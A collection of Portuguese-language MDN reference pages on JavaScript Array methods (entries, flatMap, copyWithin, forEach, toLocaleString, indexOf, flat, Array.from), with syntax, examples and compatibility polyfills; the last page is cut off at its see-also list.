{"title":"Array.prototype.entries() - JavaScript","text":"Array.prototype.entries()\n=========================\n\nO método **`entries()`** retorna um novo objeto **`Array Iterator`** que contém os pares chave/valor para cada índice no array.\n\nSintaxe\n-------\n```\n\narr.entries()\n```\n\nExemplos\n--------\n\n\n```js\nvar arr = [\"a\", \"b\", \"c\"];\nvar eArr = arr.entries();\n\nconsole.log(eArr.next().value); // [0, 'a']\nconsole.log(eArr.next().value); // [1, 'b']\nconsole.log(eArr.next().value); // [2, 'c']\n```\n\n### O mesmo que acima, utilizando um loop for…of\n\n\n```js\nvar arr = [\"a\", \"b\", \"c\"];\nvar eArr = arr.entries();\n\nfor (let e of eArr) {\n  console.log(e);\n}\n// [0, 'a']\n// [1, 'b']\n// [2, 'c']\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.entries |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.keys()`\n* `Array.prototype.forEach()`\n* `Array.prototype.every()`\n* `Array.prototype.some()`"}
{"title":"Array.prototype.flatMap() - JavaScript","text":"Array.prototype.flatMap()\n=========================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since January 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO método **`flatMap()`** primeiro mapeia cada elemento usando uma função de mapeamento e, em seguida, nivela o resultado em um novo array. É idêntico a um `map` seguido por um `flat` de profundidade 1, mas **`flatMap`** é bastante útil e mescla ambos em um método um pouco mais eficiente.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nvar new_array = arr.flatMap(function callback(currentValue[, index[, array]]) {\n    // retorna o elemento para new_array\n}[, thisArg])\n```\n\n### Parâmetros\n\n`callback`\n\nFunção que produz um elemento de uma nova Array, pegando três argumentos:\n\n`currentValue`\n\nO valor atual sendo processo na array.\n\n`index`Optional\n\nO index do valor atual sendo processo na array.\n\n`array`Optional\n\nO `map` da array que foi chamado.\n\n\n`thisArg`Optional\n\nValor para ser usado como `this` quando `callback` estiver sendo executado.\n\n### Valor de retorno\n\nUma nova array com cada elemento sendo o resultado da função callback e achatado ao valor de 1.\n\nDescrição\n---------\n\nVeja `Array.prototype.map()` para uma detalhada descrição da função callback. O método `flatMap` é idêntico ao `map` seguido por um chamado a `flatten` (en-US) de profundidade 1.\n\nExemplos\n--------\n\n### `map` e `flatMap`\n\n\n```js\nvar arr1 = [1, 2, 3, 4];\n\narr1.map((x) => [x \\* 2]);\n// [[2], [4], [6], [8]]\n\narr1.flatMap((x) => [x \\* 2]);\n// [2, 4, 6, 8]\n\n// Só o primeiro nível\narr1.flatMap((x) => [[x \\* 2]]);\n// [[2], [4], [6], [8]]\n```\n\n\nEnquanto que acima poderíamos alcançar apenas com a utilização de map, já aqui temos um exemplo onde `flatMap` é mais apropriado.\n\nVamos gerar uma lista de palavras a partir de uma lista de sentenças.\n\n\n```js\nlet arr1 = [\"it's Sunny in\", \"\", \"California\"];\n\narr1.map((x) => x.split(\" \"));\n// [[\"it's\",\"Sunny\",\"in\"],[\"\"],[\"California\"]]\n\narr1.flatMap((x) => x.split(\" \"));\n// [\"it's\",\"Sunny\",\"in\", \"\", \"California\"]\n```\n\n\nPerceba, o comprimento da lista de saída pode ser diferente do comprimento da lista de entrada.\n\nAlternativa\n-----------\n\n### `reduce` e `concat`\n\n\n```js\nvar arr1 = [1, 2, 3, 4];\narr1.flatMap((x) => [x \\* 2]);\n// é equivalente a\narr1.reduce((acc, x) => acc.concat([x \\* 2]), []);\n// [ 2, 4, 6, 8 ]\n```\n\nEspecificações\n--------------\n\n| Specification | Status | Comment |\n| --- | --- | --- |\n| `Array.prototype.flatMap` proposal | Rascunho |  |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.flatten()` (en-US)\n* `Array.prototype.map()`\n* `Array.prototype.reduce()`\n* `Array.prototype.concat()`"}
{"title":"Array.prototype.copyWithin() - JavaScript","text":"Array.prototype.copyWithin()\n============================\n\nO método **`copyWithin()`** copia parte de um array para outra localização no mesmo array e o retorna sem alterar seu tamanho.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\ncopyWithin(target)\ncopyWithin(target, start)\ncopyWithin(target, start, end)\n```\n\n### Parâmetros\n\n`target`\n\nÍndice de base zero à qual copiar a sequência para, convertido para inteiro.\n\n* Índice negativo será contado a partir do final do array — se `target < 0`, `target + array.length` é utilizado.\n* Se `target < -array.length`, `0` é utilizado.\n* Se `target >= array.length`, nada é copiado.\n* Se `target` é posicionado após `start` depois da normalização, a cópia só acontece até o final do `array.length` (em outras palavras, `copyWithin()` nunca estende o array).\n\n`start` Optional\n\nÍndice de base zero à qual inicia a cópia dos elementos a partir de, convertido para inteiro.\n\n* Índice negativo será contado a partir do final do array — se `start < 0`, `start + array.length` é utilizado.\n* Se `start < -array.length` ou `start` é omitido, `0` é utilizado.\n* Se `start >= array.length`, nada é copiado.\n\n`end` Optional\n\nÍndice de base zero à qual termina a cópia dos elementos a partir de, convertido para inteiro. `copyWithin()` copia até, mas não inclui o `end`.\n\n* Índice negativo será contado a partir do final do array — se `end < 0`, `end + array.length` é utilizado.\n* Se `end < -array.length`, `0` é utilizado.\n* Se `end >= array.length` ou `end` é omitido, `array.length` é utilizado, fazendo com que todos os elementos até o final sejam copiados.\n* Se `end` é posicionado antes ou em `start` após a normalização, nada será copiado.\n\n### Valor de retorno\n\nO array modificado.\n\nDescrição\n---------\n\nO método `copyWithin()` funciona como o `memmove` do C e C++, e é um método de alta performance para troca de dados de um `Array`. Isso se aplica especialmente ao método `TypedArray` (en-US) de mesmo nome. A sequência é copiada e colada como uma operação; a sequência colada terá os valores copiados mesmo quando a região de copiar e colar se sobrepuserem.\n\nO método `copyWithin()` é um método mutável. Ele não altera o comprimento de `this`, mas mudará o conteúdo de `this` e criará novas propriedades ou excluirá propriedades existentes, se necessário.\n\nO método `copyWithin()` preserva slots vazios. Se a região a ser copiada for sparse, os novos índices correspondentes dos slots vazios são excluídos (en-US) e também se tornam slots vazios.\n\nO método `copyWithin()` é genérico. Ele apenas espera que o valor de `this` tenha uma propriedade `length` e propriedades integer-keyed. Embora as strings também sejam semelhantes a arrays, esse método não é adequado para ser aplicado nelas, pois as strings são imutáveis.\n\nExemplos\n--------\n\n### Usando copyWithin()\n\n\n```js\nconsole.log([1, 2, 3, 4, 5].copyWithin(-2));\n// [1, 2, 3, 1, 2]\n\nconsole.log([1, 2, 3, 4, 5].copyWithin(0, 3));\n// [4, 5, 3, 4, 5]\n\nconsole.log([1, 2, 3, 4, 5].copyWithin(0, 3, 4));\n// [4, 2, 3, 4, 5]\n\nconsole.log([1, 2, 3, 4, 5].copyWithin(-2, -3, -1));\n// [1, 2, 3, 3, 4]\n```\n\n### Usando copyWithin() em arrays sparse\n\n`copyWithin()` propagará slots vazios(empty).\n\n\n```js\nconsole.log([1, , 3].copyWithin(2, 1, 2)); // [1, empty, empty]\n```\n\n### Chamando copyWithin() em objetos não array\n\nO método `copyWithin()` lê a propriedade `length` do `this` e então manipula os índices inteiros envolvidos.\n\n\n```js\nconst arrayLike = {\n  length: 5,\n  3: 1,\n};\nconsole.log(Array.prototype.copyWithin.call(arrayLike, 0, 3));\n// { '0': 1, '3': 1, length: 5 }\nconsole.log(Array.prototype.copyWithin.call(arrayLike, 3, 1));\n// { '0': 1, length: 5 }\n// A propriedade '3' é excluída porque a fonte copiada é um slot vazio.\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.copywithin |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Polyfill de `Array.prototype.copyWithin` no `core-js`\n* Coleções indexadas\n* `Array`\n* `TypedArray.prototype.copyWithin()` (en-US)"}
{"title":"Array.prototype.forEach() - JavaScript","text":"Array.prototype.forEach()\n=========================\n\nO método `forEach()` executa uma dada função em cada elemento de um array.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\narr.forEach(callback(currentValue [, index [, array]])[, thisArg]);\n```\n\n### Parâmetros\n\n`callback`\n\nFunção para executar em cada elemento, recebendo três argumentos:\n\n`currentValue`\n\nO valor atual do elemento sendo processado no array.\n\n`index` Optional\n\nO índice do elemento atual sendo processado no array.\n\n`array` Optional\n\nO array que `forEach()` está sendo aplicado.\n\n\n`thisArg` Optional\n\nOpcional. Valor a ser usado como `this` quando executar `callback`.\n\n### Valor retornado\n\n`undefined`.\n\nDescrição\n---------\n\nO `forEach` executa o `callback` fornecido uma vez para cada elemento da ordem com um valor atribuido. Ele não é invocado para propriedades de índices que foram deletados ou que não foram inicializados (por ex. em arrays esparsos).\n\n`callback` é invocado com **três argumentos**:\n\n* o **valor do elemento**\n* o **índice do elemento**\n* o **array que está sendo percorrido**\n\nSe um parâmetro `thisArg` for passado para `forEach()`, ele será passado para o `callback` quando invocado como valor para `this`. Caso contrário, o valor `undefined` será passado como valor para `this`. O valor de `this` assumido no `callback` é determinado de acordo com as regras usuais para determinação do `this` visto por uma função.\n\nO intervalo dos elementos processados por `forEach()` é determinado antes da primeira invocação do `callback`. Elementos que forem adicionados ao array depois da chamada ao `forEach()` começar não serão visitados pelo `callback`. Se os valores dos elementos existentes do array forem alterados, o valor passado para o `callback` será o valor no momento em que o `forEach()` visitá-los; elementos que forem deletados antes de serem visitados não serão visitados.\n\n`forEach()` executa a a função `callback` uma vez para cada elemento do array – diferentemente de `map()` ou `reduce()`, ele sempre retorna o valor `undefined` e não é encadeável. O caso de uso típico é alterar o array no final do loop.\n\n**Nota:** A única maneira de parar ou interromper um loop `forEach()` é disparando uma exceção. Se você precisa desse recurso, o método `forEach()` é a ferramenta errada. Você estará mais bem servido com um loop simples nesse caso. Se estiver testando o array de elementos para um predicado e precisar de um valor de retorno Boleano, você pode usar `every()` ou `some()`. Se estiverem disponíveis, os novos métodos `find()` e `findIndex()` também podem ser usados para terminação antecipada em predicados verdadeiros.\n\nExemplos\n--------\n\n### Imprimindo os conteúdos de uma ordem\n\nOs códigos a seguir logam uma linha para cada elemento na ordem:\n\n\n```js\nfunction logArrayElements(element, index, array) {\n  console.log(\"a[\" + index + \"] = \" + element);\n}\n[2, 5, 9].forEach(logArrayElements);\n// logs:\n// a[0] = 2\n// a[1] = 5\n// a[2] = 9\n```\n\n### Função para cópia de um objeto\n\nO código a seguir cria uma cópia para cada objeto dado. Há diferentes formas de criar uma cópia para um objeto. Esta é somente uma forma de explicar como `Array.prototype.forEach` funciona. Ela usa um grupo de novas funções ECMAScript 5 Object.\\*\n\n\n```js\nfunction copy(o) {\n  var copy = Object.create(Object.getPrototypeOf(o));\n  var propNames = Object.getOwnPropertyNames(o);\n\n  propNames.forEach(function (name) {\n    var desc = Object.getOwnPropertyDescriptor(o, name);\n    Object.defineProperty(copy, name, desc);\n  });\n\n  return copy;\n}\n\nvar o1 = { a: 1, b: 2 };\nvar o2 = copy(o1); // o2 looks like o1 now\n```\n\nCompatibilidade\n---------------\n\n`forEach` é uma adição recente para o ECMA-262 standard; assim sendo, pode não estar presente em outras implementações do standard. Você pode contornar isto pela inserção do código a seguir no começo de seus scripts, permitindo o uso de `forEach` em implementações que normalmente não possuem este suporte.\n\n\n```js\nif (!Array.prototype.forEach) {\n  Array.prototype.forEach = function (fn, scope) {\n    for (var i = 0, len = this.length; i < len; ++i) {\n      fn.call(scope, this[i], i, this);\n    }\n  };\n}\n```\n\n\nUm algorítimo 100% verdadeiro para a 5ª Edição do ECMA-262, pode ser visto abaixo:\n\nO algoritmo é exatamente o especificado na 5ª Edição da ECMA-262, assumindo `Object` e `TypeError` possuem seus valores originais e avalia `callback.call` para o valor original de `Function.prototype.call` (en-US).\n\n\n```js\n// Production steps of ECMA-262, Edition 5, 15.4.4.18\n// Reference: http://es5.github.com/#x15.4.4.18\nif (!Array.prototype.forEach) {\n  Array.prototype.forEach = function forEach(callback, thisArg) {\n    var T, k;\n\n    if (this == null) {\n      throw new TypeError(\"this is null or not defined\");\n    }\n\n    // 1. Let O be the result of calling ToObject passing the |this| value as the argument.\n    var O = Object(this);\n\n    // 2. Let lenValue be the result of calling the Get internal method of O with the argument \"length\".\n    // 3. Let len be ToUint32(lenValue).\n    var len = O.length >>> 0; // Hack to convert O.length to a UInt32\n\n    // 4. If IsCallable(callback) is false, throw a TypeError exception.\n    // See: http://es5.github.com/#x9.11\n    if ({}.toString.call(callback) !== \"[object Function]\") {\n      throw new TypeError(callback + \" is not a function\");\n    }\n\n    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.\n    if (thisArg) {\n      T = thisArg;\n    }\n\n    // 6. Let k be 0\n    k = 0;\n\n    // 7. Repeat, while k < len\n    while (k < len) {\n      var kValue;\n\n      // a. Let Pk be ToString(k).\n      // This is implicit for LHS operands of the in operator\n      // b. Let kPresent be the result of calling the HasProperty internal method of O with argument Pk.\n      // This step can be combined with c\n      // c. If kPresent is true, then\n      if (Object.prototype.hasOwnProperty.call(O, k)) {\n        // i. Let kValue be the result of calling the Get internal method of O with argument Pk.\n        kValue = O[k];\n\n        // ii. Call the Call internal method of callback with T as the this value and\n        // argument list containing kValue, k, and O.\n        callback.call(T, kValue, k, O);\n      }\n      // d. Increase k by 1.\n      k++;\n    }\n    // 8. return undefined\n  };\n}\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.foreach |\n\nVeja também\n-----------\n\n* `Array.prototype.find()`\n* `Array.prototype.findIndex()`\n* `Array.prototype.map()`\n* `Array.prototype.every()`\n* `Array.prototype.some()`\n* `Map.prototype.forEach()`\n* `Set.prototype.forEach()` (en-US)"}
{"title":"Array.prototype.toLocaleString() - JavaScript","text":"Array.prototype.toLocaleString()\n================================\n\nO método **`toLocaleString()`** retorna uma representaçao de elementos de um array. Os elementos são convertidos para Strings utilizando seus respectivos métodos `toLocaleString` e essas cadeias são separadas por uma sequência específica de localidade (separados por virgula \",\").Sintaxe\n-------\n```\n\narray.toLocaleString();\n```\n\n### Parâmetros\n\n`locales` Optional\n\nUma string com uma tag de linguagem BCP 47, ou um array como strings. Para uma forma geral e uma interpretação do arquivo `locales`, veja a página `Intl`.\n\n`options` Optional\n\nUm objeto com as propriedades de configurações, para números veja `Number.prototype.toLocaleString()`, e para datas veja `Date.prototype.toLocaleString()` (en-US).\n\n### Retorno\n\nUma string que representa os elementos de um array.\n\nExemplos\n--------\n\n### Usando `toLocaleString`\n\nOs elementos de um array são convertidos para strings usando seus respectivos métodos `toLocaleString`:\n\n* `Object`: `Object.prototype.toLocaleString()`\n* `Number`: `Number.prototype.toLocaleString()`\n* `Date`: `Date.prototype.toLocaleString()` (en-US)\n\n\n```js\nvar numero = 1337;\nvar data = new Date();\nvar meuArray = [numero, data, \"foo\"];\n\nvar resultado = meuArray.toLocaleString();\n\nconsole.log(resultado);\n// saída '1337,July 26, 2015 at 20:02:23 GMT-3,foo'\n// se estiver no Brasil com o fuso horario GMT-0300 (BRT) de Brasília.\n```\n\n\nPara mais exemplos, veja as páginas `Intl`, `NumberFormat`, e `DateTimeFormat` (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.tolocalestring |\n| ECMAScript Internationalization API Specification # sup-array.prototype.tolocalestring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.toString()`"}
{"title":"Array.prototype.indexOf() - JavaScript","text":"Array.prototype.indexOf()\n=========================\n\nO método **`indexOf()`** retorna o primeiro índice em que o elemento pode ser encontrado no array, retorna -1 caso o mesmo não esteja presente.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\narray.indexOf(elementoDePesquisa, [pontoInicial = 0])\n```\n\n### Parâmetros\n\n`elementoDePesquisa`\n\n`Elemento a ser pesquisado no array.`\n\n`pontoInicial`\n\nO índice para iniciar a procura. Se o índice for maior ou igual ao tamanho do array, é retornado -1 e signfica que o item não será procurado. Se o `pontoInicial` é fornecido com um número negativo, é tomado como deslocamento da extremidade do array. Nota: se o `pontoInicial` fornecido é negativo, a procura no array acontece de frente para trás. Se o `pontoInicial` fornecido é 0, então o array inteiro será pesquisado. Padrão: 0 (pesquisa em todo array).\n\nDescrição\n---------\n\n`indexOf()` compara o `elementoDePesquisa` com os elementos do Array usando igualdade estrita (en-US) (o mesmo método usado pelo ===, ou triple-equals operator).\n\nExemplos\n--------\n\n### Usando `indexOf()`\n\n`O exemplo seguinte usa indexOf() para localizar valores em um array`\n\n\n```js\nvar array = [2, 5, 9];\narray.indexOf(2); // 0\narray.indexOf(7); // -1\narray.indexOf(9, 2); // 2\narray.indexOf(2, -1); // -1\narray.indexOf(2, -3); // 0\n```\n\n### Encontrar todas as ocorrências de um elemento\n\n\n```js\nvar indices = [];\nvar array = [\"a\", \"b\", \"a\", \"c\", \"a\", \"d\"];\nvar elemento = \"a\";\nvar idx = array.indexOf(elemento);\nwhile (idx != -1) {\n  indices.push(idx);\n  idx = array.indexOf(elemento, idx + 1);\n}\nconsole.log(indices);\n// [0, 2, 4]\n```\n\n### Encontrar se um elemento existe ou não e atualizar o array\n\n\n```js\nfunction atualizarColecaoVegetais(vegetais, vegetal) {\n  if (vegetais.indexOf(vegetal) === -1) {\n    vegetais.push(vegetal);\n    console.log(\"Nova coleção de vegetais é : \" + vegetais);\n  } else if (vegetais.indexOf(vegetal) > -1) {\n    console.log(vegetal + \" já existe na coleção de vegetais.\");\n  }\n}\n\nvar vegetais = [\"batata\", \"tomate\", \"pimenta\", \"pimentao\"];\n\natualizarColecaoVegetais(vegetais, \"espinafre\");\n// Nova coleção de vegatais é : batata,tomate,pimenta,pimentao,espinafre\natualizarColecaoVegetais(vegetais, \"espinafre\");\n// espinafre já existe na coleção de vegetais.\n```\n\nPolyfill\n--------\n\n`indexOf()` foi adicionado ao ECMA-262 standard em sua 5 edição; como tal, não pode estar presente em todos navegadores.Você pode contornar isso utilizando o seguinte codigo no inicio de seus scripts. Isto permitirá que voce use o `indexOf()` quando não possuir suporte nativo. Esse algoritmo corresponde ao especificado no ECMA-262, edição 5, assumindo `TypeError` e `Math.abs()` tem seus valores originais.\n\n\n```js\n// Passos para a produção do ECMA-262, Edition 5, 15.4.4.14\n// Referência: http://es5.github.io/#x15.4.4.14\nif (!Array.prototype.indexOf) {\n  Array.prototype.indexOf = function (elementoDePesquisa, pontoInicial) {\n    var k;\n\n    //1. Deixe-o ser o resultado da chamada de toObject\n    // passando o valor de this como argumento.\n    if (this == null) {\n      throw new TypeError(\n        '\"this\" é nulo (null) ou não foi definido (undefined)',\n      );\n    }\n\n    var O = Object(this);\n\n    // 2. Deixar o tamanhoValor ser o resultado da\n    // chamada do método interno Get de 0 com o\n    // argumento \"length\"\n    // 3. Deixar o tamanhoValor ser um ToUint32(tamanhoValor).\n    var tamanho = O.length >>> 0;\n\n    // 4. se o tamanho é 0, retorna -1.\n    if (tamanho === 0) {\n      return -1;\n    }\n\n    // 5. Se o argumento pontoInicial for passado,\n    // use o ToInteger(pontoInicial); senao use 0.\n    var n = +pontoInicial || 0;\n\n    if (Math.abs(n) === Infinity) {\n      n = 0;\n    }\n\n    //6. Se n >= tamanho, retorna -1.\n    if (n >= tamanho) {\n      return -1;\n    }\n\n    // 7. Se n>= 0, entao k seja n.\n    // 8. Senao, n<0, k seja tamanho - abs(n).\n    // Se k é menor que 0, entao k seja 0.\n    k = Math.max(n >= 0 ? n : tamanho - Math.abs(n), 0);\n\n    // 9. Repita, enquanto k < tamanho\n    while (k < tamanho) {\n      // a. Deixe Pk ser ToString(k).\n      // isto é implicito para operandos LHS de um operador\n\n      // b. Deixe o kPresent ser o resultado da chamada do método\n      // interno de 0 com argumento Pk\n      // Este passo pode ser combinado com c.\n      // c. Se kPresent é true, entao\n      // i. Deixe o elementK ser o resultado da chamada do metodo\n      // interno Get de 0 com argumento ToString(k)\n      // ii. Deixe o resultado ser aplicado pelo Algoritmo de\n      // Comparação de Igualdade Estrita (Strict Equality Comparison)\n      // para o elementoDePesquisa e elementK\n      // iii. caso verdadeiro, retorne k.\n      if (k in O && O[k] === elementoDePesquisa) {\n        return k;\n      }\n      k++;\n    }\n    return -1;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.indexof |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.lastIndexOf()`\n* `TypedArray.prototype.indexOf()` (en-US)"}
{"title":"Array.prototype.flat() - JavaScript","text":"Array.prototype.flat()\n======================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since January 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO método **`flat()`** cria um novo array com todos elementos sub-arrays concatenados nele de forma recursiva até a profundidade especificada.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nflat();\nflat(depth);\n```\n\n### Parâmetros\n\n`depth` Optional\n\nO nível de profundidade especifíca o quão profundo um array aninhando deve ser achatado. O padrão é 1.\n\n### Retorno\n\nUm novo array com os elementos sub-array concatenados nele.\n\nExemplos\n--------\n\n### Achatando arrays aninhados\n\n\n```js\nvar arr1 = [1, 2, [3, 4]];\narr1.flat();\n// [1, 2, 3, 4]\n\nvar arr2 = [1, 2, [3, 4, [5, 6]]];\narr2.flat();\n// [1, 2, 3, 4, [5, 6]]\n\nvar arr3 = [1, 2, [3, 4, [5, 6]]];\narr3.flat(2);\n// [1, 2, 3, 4, 5, 6]\n\nconst arr4 = [1, 2, [3, 4, [5, 6, [7, 8]]]];\narr4.flat(Infinity);\n// [1, 2, 3, 4, 5, 6, 7, 8]\n```\n\n### Achatando e buracos em array\n\no método flat remove espaços vazios do array:\n\n\n```js\nvar arr5 = [1, 2, , 4, 5];\narr5.flat();\n// [1, 2, 4, 5]\n```\n\nAlternativa\n-----------\n\n### `reduce` e `concat`\n\n\n```js\nvar arr = [1, 2, [3, 4]];\n\n// Achatar array de nível único\narr.flat();\n// É equivalente à\narr.reduce((acc, val) => acc.concat(val), []);\n// [1, 2, 3, 4]\n\n// Ou com sintaxe de decomposição\nconst flattened = (arr) => [].concat(...arr);\n```\n\n### `reduce` + `concat` + `isArray` + recursividade\n\n\n```js\nvar arr = [1, 2, [3, 4, [5, 6]]];\n\n// Para achatamentos mais profundos, use recursividade com reduce e concat\nfunction flatDeep(arr, d = 1) {\n  return d > 0\n    ? arr.reduce(\n        (acc, val) =>\n          acc.concat(Array.isArray(val) ? flatDeep(val, d - 1) : val),\n        [],\n      )\n    : arr.slice();\n}\n\nflatDeep(arr, Infinity);\n// [1, 2, 3, 4, 5, 6]\n```\n\nEspecificações\n--------------\n\n| Especificação | Status | Comentários |\n| --- | --- | --- |\n| `Array.prototype.flat` proposal | Draft |  |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `Array.prototype.flatMap()`\n* `Array.prototype.map()`\n* `Array.prototype.reduce()`\n* `Array.prototype.concat()`"}
{"title":"Array.from() - JavaScript","text":"Array.from()\n============\n\nResumo\n------\n\nO método **`Array.from()`** cria uma nova instância `de um Array` quando for passado um array-like ou um iterable object como argumento.\n\nNo ES6, a sintaxe de classe permite a subclassificação de classes nativas e classes definidas pelo usuário; como resultado, os métodos estáticos pertencentes a classe, como **`Array.from`**, são \"herdadas\" por subclasses do **`Array`** e criam novas instâncias da subclasse, não do **`Array`**.\n\nSintaxe\n-------\n```\n\nArray.from(arrayLike[, mapFn[, thisArg]])\n```\n\n### Parâmetros\n\n`arrayLike`\n\nUm array-like ou um objeto iterável para converter em array.\n\n`mapFn`\n\n*Opcional*. Função Map que será chamada para cada elemento do array.\n\n`thisArg`\n\n*Opcional*. Valor a ser utilizado como this quando a mapFn for chamada.\n\nDescrição\n---------\n\n`Array.from()` deixa você criar um Array de:\n\n* objetos array-like (objetos com a propriedade `length` e elementos indexados); ou\n* Objetos iteráveis (en-US) (objetos onde você pode coletar seus elementos, assim como `Map` e `Set`).\n\n`Array.from()` tem um parametro opcional `mapFn`, que permite executar a função `map` para cada elemento do array (ou subclasse de objeto) que está sendo criado. Simplificando, `Array.from(obj, mapFn, thisArg)` é o mesmo que `Array.from(obj).map(mapFn, thisArg)`, com a excessão de não cria um array intermediário . Isso é importante, principalmente para certas subclasses de array, como typed array, no qual o array intermediário iria necessáriamente ter o valor truncado para encaixar-se no tipo apropriado.\n\nA propriedade `length` do método `from()` é `1`.\n\nNo ES2015, a sintaxe de class permite a definição de subclasses tanto internas quando definidas pelo usuário. Como resultado, métodos estáticos como `Array.from()` são \"herdados\" pelas subclasses de `Array`, e cria novas instâncias da subclasse, não de `Array`.\n\nPolyfill\n--------\n\n`Array.from` foi adicionado ao padrão ECMA-262 em sua 6ª edição; desta forma, não está presente na aplicações anteriores da especificação. Na ausência do código nativo, você pode inserir o código seguinte no início do script, permitindo `o uso parcial da funcionalidade do Array.from`. Esse algorítmo é equivalente ao especificado no ECMA-262, 6ª edição, exceto que `Object` e `TypeError` tem seus valores originais e que `callback.call` retorna o valor original de `Function.prototype.call`. Além disso, os verdadeiros iterables não podem ser representados genéricamente no polyfill, criando a principal distinção do que foi definido na especificação.\n\n\n```js\n// Production steps of ECMA-262, Edition 6, 22.1.2.1\n// Reference: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-array.from\nif (!Array.from) {\n  Array.from = (function () {\n    var toStr = Object.prototype.toString;\n    var isCallable = function (fn) {\n      return typeof fn === \"function\" || toStr.call(fn) === \"[object Function]\";\n    };\n    var toInteger = function (value) {\n      var number = Number(value);\n      if (isNaN(number)) {\n        return 0;\n      }\n      if (number === 0 || !isFinite(number)) {\n        return number;\n      }\n      return (number > 0 ? 1 : -1) \\* Math.floor(Math.abs(number));\n    };\n    var maxSafeInteger = Math.pow(2, 53) - 1;\n    var toLength = function (value) {\n      var len = toInteger(value);\n      return Math.min(Math.max(len, 0), maxSafeInteger);\n    };\n\n    // The length property of the from method is 1.\n    return function from(arrayLike /\\*, mapFn, thisArg \\*/) {\n      // 1. Let C be the this value.\n      var C = this;\n\n      // 2. Let items be ToObject(arrayLike).\n      var items = Object(arrayLike);\n\n      // 3. ReturnIfAbrupt(items).\n      if (arrayLike == null) {\n        throw new TypeError(\n          \"Array.from requires an array-like object - not null or undefined\",\n        );\n      }\n\n      // 4. If mapfn is undefined, then let mapping be false.\n      var mapFn = arguments.length > 1 ? arguments[1] : void undefined;\n      var T;\n      if (typeof mapFn !== \"undefined\") {\n        // 5. else\n        // 5. a If IsCallable(mapfn) is false, throw a TypeError exception.\n        if (!isCallable(mapFn)) {\n          throw new TypeError(\n            \"Array.from: when provided, the second argument must be a function\",\n          );\n        }\n\n        // 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined.\n        if (arguments.length > 2) {\n          T = arguments[2];\n        }\n      }\n\n      // 10. Let lenValue be Get(items, \"length\").\n      // 11. Let len be ToLength(lenValue).\n      var len = toLength(items.length);\n\n      // 13. If IsConstructor(C) is true, then\n      // 13. a. Let A be the result of calling the [[Construct]] internal method of C with an argument list containing the single item len.\n      // 14. a. Else, Let A be ArrayCreate(len).\n      var A = isCallable(C) ? Object(new C(len)) : new Array(len);\n\n      // 16. Let k be 0.\n      var k = 0;\n      // 17. Repeat, while k < len… (also steps a - h)\n      var kValue;\n      while (k < len) {\n        kValue = items[k];\n        if (mapFn) {\n          A[k] =\n            typeof T === \"undefined\"\n              ? mapFn(kValue, k)\n              : mapFn.call(T, kValue, k);\n        } else {\n          A[k] = kValue;\n        }\n        k += 1;\n      }\n      // 18. Let putStatus be Put(A, \"length\", len, true).\n      A.length = len;\n      // 20. Return A.\n      return A;\n    };\n  })();\n}\n```\n\nExemplos\n--------\n\n\n```js\n// Array-like object (arguments) para um Array\nfunction f() {\n  return Array.from(arguments);\n}\n\nf(1, 2, 3);\n// [1, 2, 3]\n\n// Qualquer iterable object ...\n// com Set\nvar s = new Set([\"foo\", window]);\nArray.from(s);\n// [\"foo\", window]\n\n// Map\nvar m = new Map([\n  [1, 2],\n  [2, 4],\n  [4, 8],\n]);\nArray.from(m);\n// [[1, 2], [2, 4], [4, 8]]\n\n// String\nArray.from(\"foo\");\n// [\"f\", \"o\", \"o\"]\n\n// Usando um arrow function como função map para\n// manipular os elementos\nArray.from([1, 2, 3], (x) => x + x);\n// [2, 4, 6]\n\n// Gerando uma sequência de números\nArray.from({ length: 5 }, (v, k) => k);\n// [0, 1, 2, 3, 4]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.from |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* 